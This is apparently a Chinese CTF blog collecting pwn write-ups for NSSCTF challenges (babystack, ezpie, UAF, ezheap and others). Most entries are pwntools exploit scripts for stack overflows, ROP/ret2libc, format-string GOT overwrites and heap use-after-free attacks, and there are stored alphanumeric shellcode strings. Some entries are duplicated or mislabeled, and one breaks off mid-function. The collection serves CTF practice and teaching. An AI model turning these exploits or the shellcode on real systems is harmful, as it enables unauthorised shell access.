MyS3andB0x

文章发布时间:

最后更新时间:

刷题合集
从开始的开始来的,就当是电子考古了)
但是持续更新

P | [BJDCTF 2020]babystack | 解题做题人

题目说明

整数溢出

解题思路

1
2
3
4
5
6
7
8
9
10
from pwn import *#引用pwntools库
io = remote("1.14.71.254",28792)#开启链接

io.recvuntil("your name:\n")
io.sendline(b'-1')
backdoor = 0x400726

payload = b'a' * 0x18 + p64(backdoor)
io.sendline(payload)
io.interactive()

P | [BJDCTF 2020]babystack2 | 解题做题人

题目说明

ez64 位溢出

解题思路

1
2
3
4
5
6
from pwn import *
p = connect("1.14.71.254",28622)
p.sendlineafter("length of your name:\n","-1")
payload = 24*'a'+ p64(0x0000000000400893) + p64(0) + p64(0x0000000000400726)
p.sendlineafter("name?\n",payload)
p.interactive()

P |[NISACTF 2022]ezstack | 解题做题人

题目说明

ez32 位栈溢出

解题思路

1
2
3
4
5
6
from pwn import *
p = connect("1.14.71.254",28622)
p.sendlineafter("length of your name:\n","-1")
payload = 24*'a'+ p64(0x0000000000400893) + p64(0) + p64(0x0000000000400726)
p.sendlineafter("name?\n",payload)
p.interactive()

P | [WUSTCTF 2020]getshell | 解题做题人

题目说明

32 位栈溢出

解题思路

1
2
3
4
5
6
7
8
9
from pwn import *
elf = ELF('./service')
p=process('./service')
#p=remote('43.143.7.97',28860)
shell_addr =0x804851B
padding = 28
payload1 = b'a' * padding + p32(shell_addr)
p.sendline(payload1)
p.interactive()

P |[NISACTF 2022]ezpie | 解题做题人

题目说明

pie 保护绕过方法,详见保护机制

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'debug'

# p = process("./ezpie")
p = remote('1.14.71.254', 28335)

p.recvuntil('0x')
main_addr = int(p.recv(8), 16)
print('[+]main_addr: ', hex(main_addr))
shell_addr = main_addr + 0x80F - 0x770
print('[+]shell_addr: ', hex(shell_addr))
payload = b'a'*(0x28 + 4) + p32(shell_addr)

p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

P | [NISACTF 2022]ezstack | 解题做题人

题目说明

栈溢出但是 NX

解题步骤

32 位文件 开启了 NX 保护,堆栈不可执行

IDA 看一手

只有一个 shell() 函数 追一手

72=0x48,接收 0x60 个字符输入,存在栈溢出

查看字符串 在 data 段发现 '/bin/sh'

1
2
3
4
5
6
7
8
9
10
from pwn import *

elf = ELF("./pwn")
p = remote("1.14.71.254", 28115)
system = elf.plt["system"]

g = b'a' * (0x48+4) + p32(system) + p32(0xabcdabcd) + p32(0x0804A024)
p.sendlineafter("Welcome to NISACTF\n", g)

p.interactive()

P | [CISCN 2022 初赛]login_normal | 解题做题人

题目说明

解题思路

看 main 函数,read 后执行 sub_FFD

跟进 sub_FFD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )// 关于a[0]和a[1]的判定关系
{
if ( v8 <= 5 )
qword_202040[2 * v8] = a1; // 处理的位分别是0,8,16,24,32
sb = strchr(a1, 58); // 找到字符':'位置
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0; // 将找到':'的位置数值变为0
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )// sc=sb的下一位,sc满足在范围内且等于指定字符
*sc = 0; // 当前字符置0
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc; // (0,8,16,24,32)+1出来的值
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0; // 置零
a1 = sd + 1; // 首位置到sd的下一位
if ( *a1 == '\r' ) // 如果当前位是\r下一位置0
*a1++ = 0;
s1 = (char *)qword_202040[2 * v8]; // 0,8,16,24,32
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{ // 第一次opt退出
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") ) // 是否是msg
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*a1 = 0;
sa = a1 + 1;
if ( *sa == '\n' ) // 如果是换行符就赋值0
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8((const char *)dest);
break;
case 3:
sub_EFE((const char *)dest);
break;
case 1:
sub_CBD((const char *)dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}

由上述可知,要进行两次校验,在连接之后就需要先写通过校验才可以进行后续操作,即 'opt:1\r\nmsg:ro0t\r\nopt:2\r\nmsg:,且最终结尾必须是 \r\n

绕过后到达 sub_DA8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]

v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 )
{
puts("oh!");
exit(-1);
}
if ( unk_202024 )
{
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
((void (*)(void))dest)(); //shellcode利用转换执行
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
push edx
push 0x36363630
push esp
pop ecx
xor dword ptr ds:[ecx],esi
xor esi,dword ptr ds:[ecx]
pop eax
push 0x33333333
xor dword ptr ds:[ecx],esi
imul esi,dword ptr ds:[ecx],0x33
pop eax
push 0x69
push esi
xor dword ptr ds:[ecx],esi
dec eax
arpl word ptr ds:[ecx],si
pop edx
pop eax
pop ecx
xor word ptr ds:[ecx+esi*2+0x49],dx
dec eax
cmp word ptr ds:[ebx+0x44],bp
jno short tested.004780A6
xor byte ptr ds:[edx],dh
inc esp
jno short tested.004780AC
xor byte ptr ds:[ecx+esi+0x48],al
jnz short tested.0047808D
dec ebp
xor al,byte ptr ds:[edi+0x30]
pop edx
xor ch,byte ptr ds:[edi+0x34]
dec eax
xor byte ptr ss:[ebp+0x30],dh
push eax
xor dword ptr ds:[esi],esi
xor byte ptr ds:[edx+0x30],bl
aaa
dec edi
xor byte ptr ds:[edx+0x30],bl
inc ebx
xor dword ptr ds:[eax],esi
xor byte ptr ds:[ecx+0x35],bh
dec edi
xor eax,dword ptr ds:[edi+0x30]
xor dh,byte ptr ds:[eax]
inc edx
xor ch,byte ptr ds:[esi+0x30]
xor byte ptr ss:[esi+0x34],cl
jno short tested.004780B8
outs dx,byte ptr es:[edi]
xor dh,byte ptr ds:[eax+esi+0x42]
xor byte ptr ds:[eax],dh
xor byte ptr ds:[ecx],dh
xor byte ptr ds:[ecx],dh
xor byte ptr ds:[eax+0x33],cl
push ebx
xor bh,byte ptr ds:[ecx+0x30]
pop ecx
xor byte ptr ds:[edi+0x30],cl
outs dx,byte ptr es:[edi]
xor byte ptr ds:[edx+0x30],bh
xor dword ptr ds:[ebx],esi
xor al,0x30
xor al,byte ptr fs:[esi+0x34]
jns short tested.004780E4
push eax
xor dword ptr ds:[ecx],esi
xor eax,0x306E316C
dec edx
xor byte ptr ds:[eax+0x30],ch
popad
xor byte ptr ds:[edi],dh
xor byte ptr ds:[eax+eax],dh
add bh,bh
add byte ptr ds:[eax],al
add bh,bh

pop eax
inc ecx

shellcode:/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
#coding=utf-8

from pwn import*

ip = ""
port =
io = remote(ip,port)
libc = ELF('./libc-2.23.so')
io.recvuntil(">>>")
io.sendline('opt:1\r\nmsg:ro0t\r\n') ##绕过1
shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
io.recvuntil(">>>")
io.sendline('opt:2\r\nmsg:'+shellcode+'\r\n') #poc
io.interactive()

P | [BJDCTF 2020]babyrop2 | str1k3

题目说明

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#-*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './pwn'
io = process(pwnfile)
#io = remote('node4.anna.nssctf.cn',28352)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

io.recvuntil('give u some gift to help u!\n')
#gdb.attach(io)
#pause()
io.sendline('%7$p') #格式化字符串泄露canary
canary = int(io.recv(18),16)
print('canary',hex(canary))

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
return_addr = elf.symbols['vuln']
pop_ret = 0x4005f9
pop_rdi_ret = 0x400993
pop_rsi_r15_ret = 0x400991 #ROPgadgets

# 0x0000000000400993 : pop rdi ; ret
# 0x0000000000400991 : pop rsi ; pop r15 ; ret
# 0x000000000040098d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004005f9 : ret

payload = b'a'*(0x20-0x8) +p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(return_addr)
#payload = payload.ljust(200, 'a')
#sub_40063D(v1, 200LL, 10LL);
#delimiter = 'Hello,do you want to play a game with me???'
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload)#rop泄露puts地址

puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print('puts_addr:',hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')
print('libc_base:',hex(libc_base))
print('system_addr:',hex(system_addr))
print('bin_addr:',hex(bin_addr))

#很奇怪为啥第二次不用再泄露canary
# io.recvuntil('give u some gift to help u!\n')
# io.sendline('%7$p')
# canary = int(io.recv(18),16)
# print('canary',hex(canary))
#第二次的rop链
payload2 = b'a'*(0x20-0x8) +p64(canary) + b'a'*0x8 + p64(pop_rdi_ret) + p64(bin_addr) + p64(system_addr)
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload2)
io.interactive()

P |[NUSTCTF 2022 新生赛]ezPwn | 解题做题人

题目说明

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './ezpwn'
# io = process(pwnfile)
io = remote('node1.anna.nssctf.cn',28938)
#elf = ELF(pwnfile)
# rop = ROP(pwnfile)
# libc =elf.libc
padding = 0x0A+0x08
ret = 0x40101a
fun_addr = 0x401229 #需要返回的漏洞函数

payload1 = flat([b'a'*padding ,fun_addr])
print(payload1)

io.sendlineafter(b'Your name plz:\n',payload1)
print(io.recv())
print(io.recv())
# io.interactive()

[HNCTF 2022 Week1]safe_shellcode

题目说明

可见字符 shellcode(指能被 ASCII 打印出来的字符)

解题思路

1
2
3
4
5
6
from pwn import *
# io = process(“./shellcoder”)
io = remote('node1.anna.nssctf.cn',28519)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()

存个 shellcode

x64 下的: Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P1 60Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l 1n0J0h0a070t

x32 下的: PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6 MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8 MK0AA

[MoeCTF 2022]ret2text

题目说明

解题思路

啥保护都没

有溢出

有后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(log_level='debug',arch='amd64', os='linux')

io = process('./ret2text')
io = remote('node3.anna.nssctf.cn', 28240)

padding = 0x48
back_door = 0x4014BE
ret_addr = 0x40101a

payload = b'a'* 0x48 + p64(ret_addr) + p64(back_door)
dem = "please input\n"
# io.sendafter(dem , payload)
io.sendline(payload)
io.interactive()

[MoeCTF 2021]ezROP

题目说明

strlen 会被\x00 截断,别的 ret2libc 就行,libc 版本比较怪,放个官方 wp

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from sgtlibc import *
import sgtlibc
p = remote('node1.anna.nssctf.cn',28725)
elf = ELF('./ezrop')
p.sendlineafter('Input your choice!\n','1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_addr = 0x400c83
ret_addr = 0x4006b9
encrypt = 0x4009A0
payload = b'a'*(0x50+8)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(encrypt)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
s = sgtlibc.Searcher()
s.add_condition('puts',puts_addr)
s.dump(db_index=15) # search libc , if returns multi-result ,default use index-0's result

system_addr = s.get_address(sgtlibc.s_system)
binsh_addr = s.get_address(sgtlibc.s_binsh)
puts_addr_ = s.get_address(sgtlibc.s_puts)

print(hex(system_addr), hex(binsh_addr), hex(puts_addr_))
libc_base = puts_addr - puts_addr_
system = libc_base + system_addr
bin_sh = libc_base + binsh_addr

payload= b'a'*(0x50+8) + p64(ret_addr) +p64(pop_rdi_addr)+p64(bin_sh)+p64(system)+p64(0)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()

[HDCTF 2023]Minions

题目说明

本题的格式化字符串漏洞利用比较简单(指使用 pwntools),就把它放栈题这了

解题思路

只开了 NX,看看 main。

再看看 vuln,存在明显的格式化字符串漏洞

顺着字符串找到些好康的

所以我们第一轮先改 main 中的判断条件,把 key 改成 102 的长度就能绕过判断条件,利用第二个 read 跳回 vuln,再次利用格式化字符串漏洞把 printf 劫持为 system,重复上面步骤,在 read 处输入/bin/sh,再次下一次执行 printf(buff)的时候就可以拿到 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

#io = process('./minions1')
io = remote('node1.anna.nssctf.cn',28731)
elf = ELF('./minions1')
context(arch='amd64', os='linux', log_level='debug')

key = 0x6010A0
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['_start']

payload_fmt1 = fmtstr_payload(6, {key: 0x66})
payload_fmt2 = fmtstr_payload(6, {printf_got: system_plt})
ret2vuln = b'A' * (0x30 + 0x08) + p64(vuln)
bin_sh = b'/bin/sh\x00'

io.recvuntil(b'name?\n')
io.send(payload_fmt1)

io.recvuntil(b'about you\n')
io.send(ret2vuln)
io.recvuntil(b'Minions?\n')
io.send(b'g0at')

io.recvuntil(b'name?\n\n')
io.send(payload_fmt2)

io.recvuntil(b'about you\n')
io.send(ret2vuln)
io.recvuntil(b'Minions?\n')
io.send(b'g0at')

io.recvuntil(b'name?\n\n')
io.send(bin_sh)

io.interactive()

[NISACTF 2022]UAF

查个保护先

放进 IDA 看看,主要函数在下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3[4]; // [esp+8h] [ebp-10h] BYREF

v3[1] = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( 1 )
{
while ( 1 )
{
puts("1.create");
puts("2.edit");
puts("3.delete");
puts("4.show");
putchar(58);
__isoc99_scanf("%d", v3);
if ( v3[0] != 2 )
break;
edit();
}
if ( v3[0] > 2 )
{
if ( v3[0] == 3 )
{
del();
}
else if ( v3[0] == 4 )
{
show();
}
else
{
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3[0] != 1 )
goto LABEL_13;
create();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int create()
{
int result; // eax
int v1; // ebx
char *v2; // eax

printf("you are creating the %d page\n", i);
result = i;
if ( i >= 0 )
{
result = i;
if ( i <= 9 )
{
v1 = i;
(&page)[v1] = (char *)malloc(8u);
if ( i )
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
v2 = page;
*(_DWORD *)page = 1868654951;
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;
}
}
}
return result;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int edit()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > i )
{
puts("NO PAGE");
}
else
{
puts("Input your strings");
__isoc99_scanf("%s", (&page)[v1]);
}
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int edit()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > i )
{
puts("NO PAGE");
}
else
{
puts("Input your strings");
__isoc99_scanf("%s", (&page)[v1]);
}
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
}

其中,NICO 是后门函数,给了个 system()

edit 函数中,if 判断条件实际上为 <0

del 函数中,free 掉堆块后没有将指针置 0

导致了 UAF 漏洞(Use After Free)

exp 思路:

先创建一个 chunk 0

由于 edit 不能直接编辑 chunk0,因为 实际上 if ( v1 < 0 || v1 > i )

但是由于系统不会直接回收内存空间,并且 free 后并没有将指针置 0

create 函数创建的 chunk 是不能自定义的,但是我们只要 free 后再申请一次,它就会把之前的 chunk 给我们复用

但是由于我们不能直接编辑 chunk0,但是 chunk0 现在被 page1 所调用,因此我们只需要使用 edit 写入 page1 sh 并 show_page 即可 getshell

add_chunk 之后,可以看到程序申请了一段 0x10 大小的堆

free 之后这段堆被放到了 tcache 里

再次申请时这段堆就被复用了

但是堆里什么都没有

把 payload 送进堆,拿到 shell

[NISACTF 2022]ezheap

申请了两个 chunk,system 在了 0x8048596,所以,我们利用 chunk1 的溢出,溢出到 chunk2 中的 0x8048596,写入/bin/sh,即可

1
2
3
4
5
6
7
8
9
from pwn import*

io = remote('node3.anna.nssctf.cn',28682)
#io=process("./heap")
io.recvuntil("Input:\n")
payload=b'a'*(0x16+5)+b'/bin/sh'

io.sendline(payload)
io.interactive()

[BJDCTF 2020]YDSneedGirlfriend

菜单,增删改查,典!

看看怎么增,

删除,free 之后没有将指针置零,存在 UAF 漏洞

print_girlfriend 函数会调用 chunk 里的 puts 输出 chunk 里的 name,如果将调用 puts 函数的地方覆写成 backdoor,那么在执行 print_girlfriend 调用 puts 的时候就转去执行 backdoor 了

所以我们先申请两个 chunk,为 chunk0 和 chunk1,然后 free 掉,此时 tcachebins 中的链表为 chunk1->chunk0

(有 wp 是 fastbin 内的,估计是版本问题)

现在我们再申请一段 0x10 的 chunk2,这下 chunk2 申请到了 chunk1 的地址,后面申请的用来存名字的 chunk 就申请到了 chunk0 的地址,

现在把 chunk0 中的 puts 的地址改掉,执行 print_girlfriend 的时候就能拿到 shell 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
io=remote('node4.anna.nssctf.cn',28064)
#io=process('./girlfriend')
elf=ELF('./girlfriend')

def add(size,name):
io.sendlineafter("Your choice :",'1')
io.sendlineafter("Her name size is :",str(size))
io.sendlineafter("Her name is :",name)

def dele(index):
io.sendlineafter("Your choice :",'2')
io.sendlineafter("Index :",str(index))

def show(index):
io.sendlineafter("Your choice :",'3')
io.sendlineafter("Index :",str(index))

def debug(io):
gdb.attach(io)
pause()

#debug(io)
backdoor=0x400b9c
add(0x20,'aaaa')
add(0x20,'bbbb')

dele(0)
dele(1)

add(0x10,p64(backdoor))

show(0)
io.interactive()

[HNCTF 2022 WEEK4]ezheap

保护全开,急!但是增删改查,典!

delete 无 UAF

add 会在用户申请的堆块之前申请一个大小为 0x20 的堆块,并会在用户申请的自定义大小的堆块的 Chunk Header 的 Prev_Size 位存放 puts 函数的地址。

show 将 Prev_Size 的地址取出,作为函数调用,然后取出 fd 指针,作为参数。

edit 存在堆溢出

原理是通过修改 puts 函数的参数,原本是打印某个堆块的内容,更改为我们创建的堆块地址的 Header,即可打印出我们的 puts 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *

def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(os='linux', arch='amd64', log_level='debug')
#p = process('./ezheap')
p = remote('node1.anna.nssctf.cn', 28355)
elf = ELF('./ezheap')
libc = ELF('./libc-2.23.so')

def add(idx, size, name = b'a', data = b'a'):
p.sendlineafter(b'Choice: \n', b'1')
p.sendlineafter(b'idx:\n', str(idx))
p.sendlineafter(b'Size:\n', str(size))
p.sendafter(b'Name: \n', name)
p.sendafter(b'Content:\n', data)
def free(idx):
p.sendlineafter(b'Choice: \n', b'2')
p.sendlineafter(b'idx:\n', str(idx))
def show(idx):
p.sendlineafter(b'Choice: \n', b'3')
p.sendlineafter(b'idx:\n', str(idx))
def edit(idx, size, data):
p.sendlineafter(b'Choice: \n', b'4')
p.sendlineafter(b'idx:\n', str(idx))
p.sendlineafter(b'Size:\n', str(size))
p.send(data)

# leak libc_base
add(0, 0x10)
add(1, 0x10)
edit(0, 0x31, p64(0)*3 + p64(0x31) + p64(0)*2 + p8(0x30))
show(1)
libc_base = get_addr() - libc.sym['puts']

# leak heap_base
edit(0, 0x31, p64(0)*3 + p64(0x31) + p64(0)*2 + p8(0x20))
show(1)
p.recvuntil(b'\n')
heap_base = u64(p.recvuntil(b'\x0a')[:-1].ljust(8, b'\x00')) - 0x40

# pwn
system = libc_base + libc.sym['system']

edit(0, 0x48, b'/bin/sh\x00' + p64(0)*2 + p64(0x31) + p64(0)*2 + p64(heap_base + 0x40) + p64(0) + p64(system))
show(1)
p.interactive()

print(' heap_base -> ', hex(heap_base))
print(' libc_base -> ', hex(libc_base))
#debug()

P | [CISCN 2022 初赛]login_normal | 解题做题人

题目说明

解题思路

看 main 函数,read 后执行 sub_FFD

跟进 sub_FFD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )// 关于a[0]和a[1]的判定关系
{
if ( v8 <= 5 )
qword_202040[2 * v8] = a1; // 处理的位分别是0,8,16,24,32
sb = strchr(a1, 58); // 找到字符':'位置
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0; // 将找到':'的位置数值变为0
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )// sc=sb的下一位,sc满足在范围内且等于指定字符
*sc = 0; // 当前字符置0
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc; // (0,8,16,24,32)+1出来的值
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0; // 置零
a1 = sd + 1; // 首位置到sd的下一位
if ( *a1 == '\r' ) // 如果当前位是\r下一位置0
*a1++ = 0;
s1 = (char *)qword_202040[2 * v8]; // 0,8,16,24,32
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{ // 第一次opt退出
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") ) // 是否是msg
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*a1 = 0;
sa = a1 + 1;
if ( *sa == '\n' ) // 如果是换行符就赋值0
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8((const char *)dest);
break;
case 3:
sub_EFE((const char *)dest);
break;
case 1:
sub_CBD((const char *)dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}

由上述可知,要进行两次校验,在连接之后就需要先写通过校验才可以进行后续操作,即 'opt:1\r\nmsg:ro0t\r\nopt:2\r\nmsg:,且最终结尾必须是 \r\n

绕过后到达 sub_DA8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]

v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
